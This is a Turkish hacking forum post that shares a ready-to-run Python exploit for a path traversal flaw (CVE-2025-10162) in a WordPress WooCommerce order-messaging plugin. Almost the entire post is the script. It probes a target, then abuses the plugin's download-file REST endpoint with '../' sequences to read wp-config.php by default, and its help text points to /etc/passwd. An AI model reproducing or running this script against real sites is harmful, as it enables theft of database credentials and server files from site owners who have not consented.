Hoşgeldin Misafir

WordPress OrderConvo 14 - Path Traversal

greenbone

4 Eyl 2022
2,020 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
# Exploit Title: WordPress OrderConvo 14 - Path Traversal
# Date: 05-31-2026
# Exploit Author: Diamorphine
# Vendor Homepage: https://www.najeebmedia.com/
# Software Link: https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/
# Version: 13.5
# Tested on: Debian
# CVE : CVE-2025-10162

import httpx
import asyncio
import argparse
from urllib.parse import urljoin
import sys


async def main(base_url, file):
    async with httpx.AsyncClient(verify=False) as client:
        try:
            print('[*] Checking connection to target')
            req = await client.get(url=base_url)
            if req.status_code == 200:
                print('[+] The target is alive, exploiting\n')
            else:
                print(f'[-] Unable to connect to the target. Code: {req.status_code}')
                sys.exit()
        except:
            print(f'[-] Problem with connection to the target.')
            sys.exit()       
    
        exp_url = urljoin(base_url, f'wp-json/wooconvo/v1/download-file?order_id=1&filename={file}')
        r = await client.get(url=exp_url)
        if len(r.text) != 0:
            print(r.text)
        else:
            print("[*] Unable to read file")

parser = argparse.ArgumentParser(description="Exploit for CVE-2025-10162")

parser.add_argument("-u", "--url", required=True, help="Target URL, e.g. https://test.local")
parser.add_argument("-f", "--filename", default="../../../../wp-config.php", help="Path to the file to read. Note: You must use deep path traversal sequences (e.g., ../../../../../etc/passwd) to break out of the web root and access sensitive system or WordPress files. (Default: ../../../../wp-config.php)")

args = parser.parse_args()

if __name__ == '__main__':
    asyncio.run(main(args.url, args.filename))